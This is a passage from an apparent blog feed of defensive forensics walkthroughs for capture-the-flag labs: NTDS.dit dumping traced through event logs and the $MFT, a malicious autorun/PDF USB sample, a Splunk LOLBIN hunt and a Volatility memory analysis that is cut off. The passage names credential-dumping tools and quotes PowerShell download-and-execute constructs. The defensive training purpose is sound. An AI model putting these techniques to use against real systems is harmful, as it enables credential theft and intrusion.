ATT\u0026amp;CK knowledge base to gather some intelligence about the technique of dumping the NTDS.dit file (T1003.003.)\nAccording to MITRE ATT\u0026amp;CK:\nAdversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in %SystemRoot% TDS tds.dit of a domain controller.1(https://en.wikipedia.org/wiki/Active_Directory)\nIn addition to looking for NTDS files on active Domain Controllers, adversaries may search for backups that contain the same or similar information.2(http://adsecurity.org/?p=1275)\nThe following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.\nVolume Shadow Copy\nsecretsdump.py\nUsing the in-built Windows tool, ntdsutil.exe\nInvoke-NinjaCopy\nWell, that’s not good! But now that we have some background, we can start to build a timeline by identifying when the attacker started the Volume Shadow Copy service. To do this, open the SYSTEM.evtx file found in Artifacts folder. The SYSTEM log includes various details, including the start and stop states of services which are logged as Windows Event 7036. If you’re in a Windows environment, this will open with the Windows Event Viewer.\nOnce the SYSTEM log is opened, we’ll filter it for the relevant events we want by pressing Filter Current Log and entering Event ID 7036 into the field.\nWith the results now filtered, press Find and enter the keyword “Volume” — this will help us to find the correct Volume Shadow Copy service event.\nFinally, let’s check the event Details \u0026gt; XML View \u0026gt; TimeCreated SystemTime to get the exact time the service was started.\nIf that’s too much reading, here is a GIF of the process to summarize.\nQuestion 2: When a volume shadow snapshot is created, the Volume shadow copy service validates the privileges using the Machine account and enumerates User groups. Find the User groups it enumerates, the Subject Account name, and also identify the Process ID(in decimal) of the Volume shadow copy service process Okay, to answer Question 2, we’ll pivot over to the SECURITY.evtx log. The key word in the question is “enumerate,” which means we’ll want to filter our log by Event ID 4799 — A security-enabled local group membership was enumerated.\n4799(S) A security-enabled local group membership was enumerated. - Windows 10 _Describes security event 4799(S) A security-enabled local group membership was enumerated._learn.microsoft.com\nOnce we’ve filtered the log, let’s look for events with the same timestamp as the service event that we found in Question 1– 8:42:16 PM.\nThe first event we find has the Group Name “Administrators,” and moving up to the next event in the list, the Group Name is “Backup Operators”. Both events will have the will the same subject account name, DC01$, the Domain Controller’s machine account.\nNow that we’ve uncovered both groups enumerated by the Volume Shadow Copy Service (VSSVC.exe), and which machine account the service ran with, let’s submit the answer and move on to the next question.\nQuestion 3: Identify the Process ID (in Decimal) of the volume shadow copy service process. Looking at the same event from Question 2, let’s focus on the Process Information section. Here we see the Process ID and the Volume Shadow Copy Service Executable Process Name (VSSVC.exe) that we are looking for.\nThis gives us half of our answer, but we need to do some extra legwork. The Windows Event log displays Process IDs in hexadecimal, but to answer Question 3 we need the Decimal value. No problem, let’s just use a simple online calculator to convert it:\nHex to Decimal Converter (rapidtables.com)\nQuestion 4: Find the assigned Volume ID/GUID value to the Shadow copy snapshot when it was mounted. Now that we’ve already looked over the SYSTEM.evtx and SECURITY.evtx, let’s move on to the third provided event log from the Artifacts folder, Microsoft-Windows-NTFS.evtx.\nThis event log holds the operational events of the Windows NTFS file system on the victim’s device. Once we open this log, we’ll continue with our method of looking at the first event following the timestamp of the Volume Shadow Copy service events from the previous questions.\nThe first event with a timestamp after the VSS service was started contains an interesting reference to VolumeShadowCopy1. Let’s click into the Details tab and gather some additional information:\nInside of the Details view_,_ we can see some additional event data including the VolumeCorrelationId GUID — this GUID is the value we need to answer Question 4!\nQuestion 5: Identify the full path of the dumped NTDS database on disk. To uncover the answer to Question 5, we’ll need to pivot away from the Windows Event Logs since they won’t have the artifacts that we need.\nBut remember the fourth piece of evidence we had, the $MFT file_?_ It’s time to use it! But first, let’s gain a foundational understanding of what the MFT is to figure out how it can help us find the path of the dumped NTDS database.\nAccording MITRE ATT\u0026amp;CK:\nEvery New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition.\nOkay, very interesting! With this background, it seems promising that we could discover the NTDS file path. So how do we find the information then? One option is to use Eric Zimmerman’s MFTECmd to parse the provided MFT file and export the results to a CSV file.\nOnce the tool is installed in your analysis environment, we can use the below syntax to have MFTECmd to parse the file:\nMFTECmd.exe -f \u0026ldquo;\u0026lt;Path-to-$MFT\u0026gt;\u0026rdquo; \u0026ndash;csv \u0026ldquo;\u0026lt;Path-to-Output.csv\u0026gt;\u0026rdquo;\nNow that we have the output from the tool, we can use any CSV application to check the results. However, for the purposes of this walkthrough, I recommend using another of Eric Zimmerman’s tools, Timeline Explorer, to easily view, search, and sort the output data. In Timeline Explorer, search for NTDS.dit.\nLooking at the timestamps of the returned results, only one matches the time period (Question 1) of the incident and it has the full path of the file in the Parent Path column!\nQuestion 6: When was newly dumped ntds.dit created on disk? Fortunately, we already found the answer in the previous question. We just need to copy the timestamp from the Created0x10 column:\nQuestion 7: A registry hive was also dumped alongside the NTDS database. Which registry hive was dumped and what is its file size in bytes? Okay, last question! The theory here is that a second file, a registry hive, was dumped at the same time and into the same directory as the NTDS database. So, let’s continue working with Timeline Explorer to see what else we can find within the parsed $MFT file.\nTo do this, we’re going to filter the results with the same Parent Entry Number as the dumped ntds.dit that we located in Question 5. This should allow us to see other files with the same parent directory or location within the NTFS volume.\nOn the Parent Entry Number column, you can either click the filter icon and select the corresponding number of the ntds.dit we found, or we can simply type the number into the field. In this example, the Parent Entry Number is 42.\nOnce we apply the filter, we will see two files: the ntds.dit and the SYSTEM registry hive. To get the file size, we just need to copy the value from the File Size column, and voilà!\nConclusion: Let’s wrap up this investigation of CrownJewel-1 with a quick recap: Using the Windows Event logs, we determined more details about the abused service, including the start time, process ID, and the mounted volume GUID. Then, with the help of MFTECmd, we identified the file path of the dumped NTDS database and even a second file that the adversary targeted. Great job with the triage!\nA big thank you to Hack The Box for the fun and realistic challenge! This was my first lab with this platform and it was an excellent experience. While this challenge is geared toward beginners, the narrative and triage process were very realistic and valuable practice for all skill levels. Continuous, hands-on practice is key to staying sharp for incident response in the real world — very cool stuff!\nIf you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, don’t forget to give it a clap. Your feedback is invaluable and helps me create content that supports your journey in cybersecurity. We’re in this together. Thanks for the support!\nUntil next week’s challenge — stay curious and be safe out there!\nTools \u0026amp; References: FLARE-VM: https://github.com/mandiant/flare-vm\nMITRE ATT\u0026amp;CK — OS Credential Dumping: NTDS (T1003.003): https://attack.mitre.org/techniques/T1003/003/\nMicrosoft Learn — Volume Shadow Copy Service: https://learn.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service\nMicrosoft Learn — Event 4799: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4799\nHex Calculator: https://www.rapidtables.com/convert/number/hex-to-decimal.html\nMITRE ATT\u0026amp;CK — Hide Artifacts: NTFS File Attributes (T1564.004): https://attack.mitre.org/techniques/T1564/004/\nEric Zimmerman’s Tools — MFTECMD: https://github.com/EricZimmerman/MFTECmd\nEric Zimmerman’s Tools: https://ericzimmerman.github.io/#!index.md\n","date":"2024-10-13T00:00:00Z","image":"/posts/hackthebox-crownjewel-1-sherlock-walkthrough/7fc378acec965ea18659c432f86858dd_MD5.png","permalink":"/posts/hackthebox-crownjewel-1-sherlock-walkthrough/","title":"HackTheBox  — CrownJewel-1 Sherlock Walkthrough"},{"content":"Blue Team Labs Online — Suspicious USB Stick Challenge Walkthrough Investigating a suspicious USB drive with pdfid.py, pdf-parser.py, and VirusTotal Logo credit: https://blueteamlabs.online\nIntroduction: Welcome to my weekly walkthrough! This week, we’re diving into a hands-on DFIR challenge, Suspicious USB Stick, from Blue Team Labs Online. This investigation involves analyzing the titular suspicious USB drive which may have played a role in a recent, fictitious data breach. What’s our objective? To check the contents of the device to uncover any indicators of malicious activity. If this topic sounds cool to you, you’ve stumbled on the right blog!\nTo do this, we’ll start by examining the drive’s Autorun.inf file, a common vector for malware propagation. What exactly is this file doing, and what role did it play in the breach? Next, we’ll turn our attention to a suspicious PDF file also found on the USB stick. Using tools like VirusTotal, Didier Stevens’ pdfid.py, and pdf-parser.py, we’ll determine if this PDF is malicious, identify the operating systems it targets, and extract embedded commands.\nIf you find this walkthrough helpful in leveling up your skills or getting you through a tricky question, give it a clap! Your feedback helps me improve and continue supporting your security journey. Thanks for reading!\nChallenge Link: https://blueteamlabs.online/home/challenge/suspicious-usb-stick-2f18a6b124\nChallenge Scenario: One of our clients informed us they recently suffered an employee data breach. As a startup company, they had a constrained budget allocated for security and employee training. I visited them and spoke with the relevant stakeholders. I also collected some suspicious emails and a USB drive an employee found on their premises. While I am analyzing the suspicious emails, can you check the contents on the USB drive?\nReading Material: https://zeltser.com/analyzing-malicious-documents/ https://en.wikipedia.org/wiki/List_of_file_signatures https://eternal-todo.com/tools/peepdf-pdf-analysis-tool.\nSetup the REMnux Analysis Environment \u0026amp; Extract the challenge file: Safety first! It’s always important when working with lab/challenge files from Blue Team Labs Online (or any educational lab/challenge/range) to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. For example, I’m using REMnux for this challenge and walkthrough.\nTo keep this write-up focused I’m going to skip the step-by-step setup of REMnux. If you’d like to set up your own REMnux environment, please follow the directions provided by REMnux directly. For reference, I opted for the virtual appliance method:\n[Get the Virtual Appliance | REMnux Documentation _The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into…_docs.remnux.org](https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page--- \u0026ndash;b436702b96b5\u0026mdash; \u0026ndash; \u0026ldquo;https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page--- \u0026ndash;b436702b96b5\u0026mdash; \u0026ndash;\u0026rdquo;)[](https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page--- \u0026ndash;b436702b96b5\u0026mdash; \u0026ndash;)\nOkay! Now that we have our virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!\nQuestion 1: What file is the autorun.inf running? Okay, let’s get started!\nInside of our analysis environment, we’ll unzip the challenge file and the second archive file (USB.zip) within it. Now inside of the USB.zip archive, we have two files to focus on:\nautorun.info 2. README.pdf.\nTo answer Question 1, let’s first focus on autorun.inf, but before we look at the file, let’s get some quick background on what autorun.inf does exactly.\nAccording to Trend Micro, the autorun.inf file is placed in the root directory of a storage drive and is used to automatically launch programs from storage and media drives. In older versions of Windows this feature could be abused to automatically execute malware when an infected drive was accessed.\nSo now that we understand what this text file can do, let’s open it up in a text editor to see what is going on. For this example, I‘ll use nano within my REMnux environment.\nWe can see that the autorun open action is set to launch the README.pdf file.\nQuestion 2: Does the pdf file pass virustotal scan? (No malicious results returned) Now let’s turn our attention to README.pdf and determine what the PDF file is and if it’s malicious or not.\nTo do this, we’ll start by checking VirusTotal for any previous hits for this file. As a first step, let’s calculate the SHA256 hash of the PDF directly from the terminal by using the below command:\nsha256sum README.pdf\nThen, copy the file hash and search VirusTotal.\nVirusTotal VirusTotalwww.virustotal.com\nRight away we’ll see a large number of detections which provide to us a high degree of confidence that the file is malicious and does not “pass” a scan.\nQuestion 3: Does the file have the correct magic number? To answer Question 3, I’ll lean on the Wikipedia page linked in the challenge to best explain what this question is looking for.\nAccording to Wikipedia:\nThis is a list of file signatures, data used to identify or verify the content of a file. Such signatures are also known as magic numbers or Magic Bytes.\nList of file signatures — Wikipedia _needs additional citations for verification .improve this article by (Learn how and when to remove this message )…_en.wikipedia.org\nLet’s look for the PDF document type in the list to make this a bit easier to understand.\nIn the image above, we’re given that the hex signature of a PDF is 25 50 44 46 2D which converts to the ASCII %PDF-\nSo, to put this into context, we can use the magic number/bytes to determine if the malicious sample is a “real” PDF file or something like an executable masquerading as a PDF file. But how do we get the magic number from the malicious file to verify it? Well, there are a several ways but let’s keep it simple and try two ways for this walkthrough.\nThe first method is to leverage the work we’ve already done and simply use the existing VirusTotal search. Navigate to the Details tab \u0026gt; Basic properties \u0026gt; Magic to confirm that the file is indeed a PDF file and not some other file type.\nThe second simple method is to utilize a tool like Didier Stevens’ pdfid.py to do some triage of the PDF file. When pdfid.py runs, one of the items it checks for is a valid %PDF header — if it doesn’t have one, the tool will let you know. For example, if we run it on the autorun.inf file:\nSo now, let’s try it with README.pdf and see what it tells us…\npdfid.py README.pdf\nThere we go! Comparing this header to the information from the Wikipedia File Signature page, we see that it matches and double-confirms that the file is a PDF.\nQuestion 4: What OS type can the file exploit? (Linux, MacOS, Windows, etc) To answer Question 4, we’re looking for which operating system can be exploited by this file. Since we’re already on VirusTotal, let’s see what other information we can discover about the PDF.\nLet’s check out the Behaviors tab where we’ll quickly notice that all the sections like File System, Registry, Shell Commands, etc. are referencing Windows.\nThis should be enough information to determine the affected OS.\nQuestion 5: A Windows executable is mentioned in the pdf file, what is it? Let’s switch away from VirusTotal and use another of Didier Stevens’ PDF tools, pdf-parser.py, start to analyze README.pdf\nAccording to the author’s website:\n“This tool will parse a PDF document to identify the fundamental elements used in the analyzed file.”\nSo, by using pdf-parser we can start to get a better idea of the malicious elements within the PDF. For our first pass, we’ll use the below syntax using -a to display the stats and -O to include the object streams.\npdf-parser.py README.pdf -a -O\nThis provides us with a solid overview of the risky keywords to watch for, as highlighted in Lenny Zeltser’s Analyzing Malicious Documents Cheat Sheet, one of the valuable resources provided in our challenge scenario.\nhttps://zeltser.com/analyzing-malicious-documents/\nInstead of diving into each object one-by-one, let’s use the default command to print all of them! Don’t worry, we can focus the output to avoid too much manual review. Since we are searching for a Windows executable file, we’ll use grep to display results matching the file extension “.exe”\npdf-parser.py README.pdf | grep -i \u0026ldquo;.exe\u0026rdquo;\nNice — we found it! If you’re curious or opt to analyze each object manually, you can find the executable referenced in Object 28, the /Launch action.\nQuestion 6: How many suspicious /OpenAction elements does the file have? Okay, last question! Remember in the last question where we used pdf-parser.py to find the risky keywords? Well, scroll back up to that output since we have the answer to Question 6 already…\nNotice how there is a single number (1) next to /OpenAction? This means there is only one object with an OpenAction. While we don’t have to analyze the OpenAction directly for this challenge it’s good to understand why this is considered risky. Open actions are triggered when a PDF file is opened and could be abused by a bad actor to execute JavaScript, open a file/web page, etc. With all of this evidence, it seems that the USB drive is the initial access vector for this attack.\nConclusion: Mission accomplished! Let’s do a quick recap. We’ve successfully examined the USB drive’s Autorun.inf file and discovered that it launches README.pdf. Then we used VirusTotal to determine that the file is malicious, likely a backdoor trojan. After that, we used Didier Stevens’ pdfid.py, and pdf-parser.py to look more closely at the structure of the PDF where we found some suspicious OpenActions targeting Microsoft Windows. With the objectives completed, let’s close out this walkthrough of the Suspicious USB Stick challenge!\nA big thank you to Blue Team Labs Online for another interesting challenge! I picked this lab for this week when I realized I have never had an occassion to analyze a USB drive. While this turned into light analysis of a PDF it was still a fantastic opportunity to explore the relation between autorun.inf and a weaponized PDF document. Any opportunity to practice with Didier Stevens’ PDF tools is always a good thing to keep in the rotation as the question of “is this PDF safe?” comes up often in the real world. I hope you had fun and learned something too!\nIf you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, please give it a clap! Your feedback lets me know that I helped you out on your security journey. We’re in this together! Thanks for the support!\nUntil next week’s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Trend Micro — Autorun: https://www.trendmicro.com/vinfo/in/security/definition/autorun#:~:text=INF.,the%20infected%20drive%20is%20accessed.\nVirusTotal: https://www.virustotal.com/gui/file/c868cd6ae39dc3ebbc225c5f8dc86e3b01097aa4b0076eac7960256038e60b43\npdfid.py: https://blog.didierstevens.com/programs/pdf-tools/\nWikipedia: https://en.wikipedia.org/wiki/List_of_file_signatures\nLenny Zeltser — Analyzing Malicious Documents Cheat Sheet: https://zeltser.com/analyzing-malicious-documents/\nAdobe Open Actions: https://helpx.adobe.com/acrobat/using/applying-actions-scripts-pdfs.html\nMITRE ATT\u0026amp;CK — Replication Through Removable Media (T1091): https://attack.mitre.org/techniques/T1091/\n","date":"2024-10-06T00:00:00Z","image":"/posts/blue-team-labs-online-suspicious-usb-stick-challenge-walkthrough/a12e76403b015df4f2aa17a87f85d136_MD5.png","permalink":"/posts/blue-team-labs-online-suspicious-usb-stick-challenge-walkthrough/","title":"Blue Team Labs Online  —  Suspicious USB Stick Challenge Walkthrough"},{"content":"TryHackMe — Benign Challenge Room Walkthrough An Endpoint Forensic Investigation using Splunk Image Credit: https://tryhackme.com/r/room/benign\nIntroduction: Imagine this: You’re on the front lines of your organization’s security team when suddenly, intrusion detection alerts start firing from an endpoint, indicating discovery and persistence activity. You need to dive into your security logging platform, investigate the logs, and contain the threat. If this sounds like a thriller you want to be part of, you’ve stumbled upon the right blog!\nWelcome to my weekly walkthrough! This week, we’re tackling the Benign room from TryHackMe. Using the Splunk data and logging platform, we’re going to investigate a compromised endpoint, but we only have the process execution logs (Event ID: 4688) ingested into the platform. Together, we’ll analyze the logs to find the compromised endpoint and then uncover how the malicious payload was downloaded onto the system, where it was hosted, and how it bypassed the security controls to get there. Sounds like fun, right? Let’s get to it!\nIn the spirit of learning, I won’t be revealing any flags in this write-up, but I hope that this guide sets you on the right track — you got this! If you find this walkthrough helpful in leveling up your skills or getting you through a tricky question, give it a clap! Your feedback helps me improve and continue supporting your security journey. Thanks for reading!\nChallenge Link: https://tryhackme.com/r/room/benign\nChallenge Scenario: One of the client’s IDS indicated a potentially suspicious process execution indicating one of the hosts from the HR department was compromised. Some tools related to network information gathering / scheduled tasks were executed which confirmed the suspicion. Due to limited resources, we could only pull the process execution logs with Event ID: 4688 and ingested them into Splunk with the index win_eventlogs for further investigation.\nQuestion 1: How many logs are ingested from the month of March, 2022? Let’s dive right in and start by getting an overview of how many logs have been ingested by Splunk in March 2022. First, we’ll open the Search \u0026amp; Reporting App from the left side of the dashboard:\nOnce inside of the Search tab, we’ll need to select the correct index that we want to query. Remember from the challenge scenario that the captured process execution logs were ingested into the win_event_log index.\nDue to limited resources, we could only pull the process execution logs with Event ID: 4688 and ingested them into Splunk with the index win_eventlogs for further investigation.\nSo, to answer Question 1 we’ll need to find the total number of events ingested in March 2022. To do that we’ll first input the index name we want to search, then hit the date/time button to change the search range. Let’s select a Date Range between 03/01/2022 and 03/31/2022 and then press Apply.\nThis will show us the total number of events during the selected date range to answer Question 1.\nQuestion 2: Imposter Alert: There seems to be an imposter account observed in the logs, what is the name of that user? Okay, before diving into the logs again let’s pull back and review the information provided to us. We have a list of usernames and their corresponding departments which will be our point of comparison for “real” users versus “imposter” users.\nAbout the Network Information\nThe network is divided into three logical segments. It will help in the investigation.\nIT Department\nJames\nMoin\nKatrina\nHR department\nHaroon\nChris\nDiana\nMarketing department\nBell\nAmelia\nDeepak\nNow that we have the correct index and date range selected already, let’s start to analyze the data.\nTo answer Question 2, we need to look at all the usernames captured within the ingested data. For that, we can leverage the stats command to display all the aggregated usernames from the UserName field.\nwin_event_log | stats count by UserName\nThis will show us all 11 of the UserNames in the data! After a comparison with the provided users list, we’ll find one that looks similar but not quite right…\nQuestion 3: Which user from the HR department was observed to be running scheduled tasks? Alright, to find the answer to Question 3 we’re going to search for evidence of persistence by looking for scheduled tasks activity within the HR department.\nSince Splunk only has ingested logs for the process execution events we’ll need to use the name of the scheduled tasks executable in our search — schtasks.exe\nwin_event_log schtasks\nThis will return 87 scheduled task events, but we can speed up our analysis by looking at the usernames that appear in these events by selecting UserNames from the selected fields header.\nThis shows us four usernames appearing in the data set, so let’s just match the visible entries against the HR department list and see which user appears…\nHR department\nHaroon\nChris\nDiana\nQuestion 4: Which user from the HR department executed a system process (LOLBIN) to download a payload from a file-sharing host. Okay! Now we’re going to dive deeper into our analysis and look for indicators of how the actor brought the payload/tools into the environment.\nThe first thing to do is narrow down our search scope and only view the logging data for the HR department users. Remember, we already have a list of all HR users from the previous question so all we need to do is format our query to include only those users:\nwin_event_log UserName=Daina OR UserName=\u0026ldquo;Chris.fort\u0026rdquo; OR UserName=\u0026ldquo;Haroon\u0026rdquo;\nBut even with the tighter search scope, we still have too many logs to go through manually.\nNext, we need to drill down even further by searching for activity related to living off the land binaries (LOLBINS). For some background, LOLBINS are legitimate Microsoft-signed binaries that are native to Windows which could also be abused to perform some unintended activity by an adversary.\nFortunately, we don’t have to know these off the top of our heads and we can instead refer to the living off the land binaries and scripts (LOLBAS) repository on GitHub!\nLOLBAS _contribute, check out ourcontribution guide. Ourcriteria list sets out what we define as a LOLBin/Script/Lib. More…_lolbas-project.github.io\nWhile the LOLBAS repository is a great start, we still need to find the exact tool within the list. Let’s work a little smarter and take a look at the MITRE ATT\u0026amp;CK knowledge base and see if we can find some specific tools in Windows that are used for Ingress Tool Transfer (MITRE ATT\u0026amp;CK T1105.)\nAccording to the page for this technique:\nOn Windows, adversaries may use various utilities to download tools, such as copy, finger, certutil, and PowerShell commands such as IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest.\nNow if we cross-reference these utilities with the LOLBAS repository, we will find a couple of utilities to search for!\nSo, putting all of this together, we are going to use Splunk to search the win_event_log index containing known HR users, where the captured process command line (4688) matches one of the LOLBAS download methods that we validated with MITRE ATT\u0026amp;CK.\nwin_event_log UserName=Daina OR UserName=\u0026ldquo;Chris.fort\u0026rdquo; OR UserName=\u0026ldquo;Haroon\u0026rdquo; | search CommandLine=\u0026quot;NAME OF LOLBIN\u0026quot;\nAnd there we go — we found a hit in the logs! Look at the UserName field, this is the answer to Question 4. Keep this search result open as we are going to use it to answer the next few questions too.\nQuestion 5: To bypass the security controls, which system process (lolbin) was used to download a payload from the internet? Fortunately, we already found the answer since the lolbin name was how we discovered the answer to Question 4.\nQuestion 6: What was the date that this binary was executed by the infected host? format (YYYY-MM-DD) From the same event that we found in Question 4, enter the date from the Time column or the EventTime field from the event log — they are the same.\nQuestion 7: Which third-party site was accessed to download the malicious payload? In the CommandLine field, there is a visible URL in the command. The domain name is what we are looking for to answer Question 7.\nQuestion 8: What is the name of the file that was saved on the host machine from the C2 server during the post-exploitation phase? The file path the end of the C2 URL from the previous question points to an executable (.exe) file that is downloaded on the victim’s system.\nQuestion 9: The suspicious file downloaded from the C2 server contained malicious content with the pattern THM{……….}; what is that pattern? Now that we have analyzed the suspicious event within Splunk, we need to start looking at the malicious content, but how do we do that? Well, the wording of this question is a bit confusing but since we do not have access to the suspicious binary within our ingested data, we’re going to pivot and gather some intelligence on the C2 URL instead.\nLet’s start out by checking the C2 URL against VirusTotal to see if we can gather any information about it.\nVirusTotal VirusTotalwww.virustotal.com\nWhile the detection looks clean, let’s navigate to the Details tab to get some extra information. Navigate to the HTML Info section and check out the Meta Tags — notice anything interesting?\nIs that a flag we see?\nQuestion 10: What is the URL that the infected host connected to? Okay, we’ve reached the last question, and it’s a straightforward one. The URL that the infected host connected to is the same one we used to answer Question 9. Simply copy, paste, and submit the final flag!\nConclusion: A big thank you to TryHackMe for another awesome hands-on challenge! By leveraging Splunk, we’ve successfully identified the affected HR user and uncovered how a Living off the Land (LOLBIN) binary was abused to bypass security controls and download the malicious payload. Our investigation revealed that the payload was hosted on a suspicious URL, which we traced back to a compromised website with some interesting metadata.\nThe Benign room is a great opportunity to go hands-on with Splunk, exercise your research skills, and get familiar with the LOLBAS repository. As a defender, understanding how legitimate binaries are abused can help enrich your investigations and uncover the whole attack story. Personally, I find every opportunity to practice log analysis in a logging or SIEM platform helpful to keep my skills sharp and get the repetitions in with the tool. With the analysis of the logs completed, let’s wrap up this investigation!\nRemember, if you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, please give it a clap! Your feedback lets me know that I helped you out on your security journey. We’re in this together! Thanks for the support!\nUntil next week’s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Splunk (Stats): https://docs.splunk.com/Documentation/Splunk/9.3.1/SearchReference/Stats\nMicrosoft Learn (schtasks.exe): https://learn.microsoft.com/en-us/windows/win32/taskschd/schtasks\nMITRE ATT\u0026amp;CK — Ingress Tool Transfer — T1105: https://attack.mitre.org/techniques/T1105/\nMicrosoft Learn (Certutil): https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil\nVirusTotal: https://www.virustotal.com/gui/url/ec89f7db79c0760ecd6676a32feb5b0362526cbd491302ff3ad7bb0b640d21ce/details\n","date":"2024-09-29T00:00:00Z","image":"/posts/tryhackme-benign-challenge-room-walkthrough/692e9d911921660a108a1add603b2981_MD5.png","permalink":"/posts/tryhackme-benign-challenge-room-walkthrough/","title":"TryHackMe  —  Benign Challenge Room Walkthrough"},{"content":"CyberDefenders— BlackEnergy Lab Walkthrough Endpoint Forensic Investigation with Volatility 2 Image Credit: https://cyberdefenders.org/blueteam-ctf-challenges/blackenergy/\nIntroduction: Imagine this: an organization has suffered a cyber attack, and you\u0026rsquo;ve been handed a memory dump from an infected machine to investigate the incident. If this sounds like a thriller you want to be part of, you\u0026rsquo;ve stumbled on the right blog!\nWelcome to my weekly walkthrough! This week, we\u0026rsquo;ll tackle the BlackEnergy Lab from CyberDefenders. Using the Volatility framework, we\u0026rsquo;ll dissect a memory dump of a device infected with a new variant of the BlackEnergy malware. We\u0026rsquo;re going to search for suspicious processes, hunt evidence of process injection, and uncover malicious DLLs to assess the scope and impact of this malware. Sounds like fun, right? Let\u0026rsquo;s get to it!\nIn the spirit of learning, I won\u0026rsquo;t be revealing any flags in this write-up, but I hope that this guide sets you on the right track — you got this! If you find this walkthrough is helpful in leveling up your skills or getting you through a tricky question, give it a clap! Your feedback lets me know that I helped you out on your security journey. Thanks for reading!\nChallenge Link: https://cyberdefenders.org/blueteam-ctf-challenges/blackenergy/\nChallenge Scenario: A multinational corporation has been hit by a cyber attack that has led to the theft of sensitive data. The attack was carried out using a variant of the BlackEnergy v2 malware that has never been seen before. The company\u0026rsquo;s security team has acquired a memory dump of the infected machine, and they want you, as a soc analyst, to analyze the dump to understand the attack scope and impact.\nSetup the REMnux Analysis Environment \u0026amp; Extract the challenge file: Safety first! It\u0026rsquo;s always important when working with lab/challenge files from CyberDefenders (or any educational lab/challenge/range) to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. For example, I\u0026rsquo;m using REMnux for this challenge and walkthrough.\nTo keep this write-up focused I\u0026rsquo;m going to skip the step-by-step setup of REMnux. If you\u0026rsquo;d like to set up your own REMnux environment please follow the directions provided by REMnux directly. For reference, I opted for the virtual appliance method:\nGet the Virtual Appliance | REMnux Documentation _The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into\u0026hellip;_docs.remnux.org\nOkay! Now that we have our virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!\nQuestion 1: Which volatility profile would be best for this machine? Let\u0026rsquo;s start out by extracting the challenge file with the password included on the challenge page.\nSince the question mentions Volatility, let\u0026rsquo;s take a quick detour to get a refresher of what it is. According to the Volatility Framework website:\nThe Volatility Framework was developed as an open source memory forensics tool written in Python.\nMeaning we will use Volatility to analyze the contents of the .raw memory dump provided to us. Now, there are a couple of versions of Volatility: Volatility 2.6 (The original, not in active development) and the latest, Volatility 3 (in active development) which are a little different.\nFor the purposes of this challenge, one of the key differences is that Volatility 2 uses \u0026quot; # \u0026quot;\nprofiles\u0026quot; to identify the operating system of the dump to accurately identify the locations of artifacts in memory. OS profiles like this aren\u0026rsquo;t used in Volatility 3.\nNow what does this all mean? Well, Question 1 is asking about profile usage so going forward we know that the challenge will have us using Volatility 2 (which I am just going to call Volatility for the rest of the write-up).\nWith that background out of the way, let\u0026rsquo;s finally invoke Volatility and use the -h option to review the help file. This is a great idea to get an overview of what commands are available.\nvol.py -h\nWe\u0026rsquo;re looking for a specific command that can help us determine which operating system profile we\u0026rsquo;ll use going forward. After reviewing the available options, we\u0026rsquo;ll find that imageinfo is the best choice.\nvol.py -f CYBERDEF-567078-20230213-171333.raw imageinfo\nAfter running the command against the memory dump, we\u0026rsquo;ll find the answer to Question 1 in the Suggested Profile(s) list.\nQuestion 2: How many processes were running when the image was acquired? Now that we know what profile to apply, we\u0026rsquo;ll need to analyze the memory dump and determine how many processes were running when the image was acquired. To do this, let\u0026rsquo;s review the Volatility help again to see if we can find a command that can display this data.\nLet\u0026rsquo;s try the pslist command to display all the running processes and apply the profile we discovered in Question 1:\nvol.py -f CYBERDEF-567078-20230213-171333.raw \u0026ndash;profile=QUESTION-1-ANSWER pslist\nNice! The output shows the running processes so it should be a simple matter of counting them to answer Question 2, right? Well, almost. There is just one small detail to note. We are looking for running processes so the ones with a date/time in the Exit column or that have 0 threads are not actually running at the time of the capture, so we need to subtract them from the total.\nQuestion 3: What is the process ID of cmd.exe? Let\u0026rsquo;s continue analyzing the output generated with the pslist command. To answer Question 3, we\u0026rsquo;re going to focus on cmd.exe.\nOnce we locate the process name, we can check the process ID (PID) column to find the answer!\nQuestion 4: What is the name of the most suspicious process? To answer Question 4, we\u0026rsquo;ll continue examining the process list. Typically, some familiarity with normal Windows processes would be beneficial but fortunately for us, the suspicious process is obviously visible within the list.\nQuestion 5: Which process shows the highest likelihood of code injection? Okay, now we need to dig a little deeper with Volatility to locate the process with the highest likelihood of code injection.\nFirst, let\u0026rsquo;s get some high-level background on what code injection is from MITRE ATT\u0026amp;CK (T1055) to better understand what we\u0026rsquo;re looking for exactly. According to MITRE, Process Injection is:\nA method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process\u0026rsquo;s memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.\nSo, we\u0026rsquo;re looking for a process injected with malware running its memory space. Let\u0026rsquo;s see what Volatility commands are available to help us by referring to Volatility\u0026rsquo;s help file again and using grep to show us only the options with the word \u0026quot; # \u0026ldquo;inject\u0026quot;in them.\nvol.py -h | grep \u0026ldquo;inject\u0026rdquo;\nThere are three options available! Let\u0026rsquo;s start with the m_alfind_ command at the top of the list. According to the Volatility command reference:\nThe malfind command helps find hidden or injected code/DLLs in user mode memory, based on characteristics such as VAD tag and page permissions.\nLet\u0026rsquo;s run the command and see what we can find.\nvol.py -f CYBERDEF-567078-20230213-171333.raw 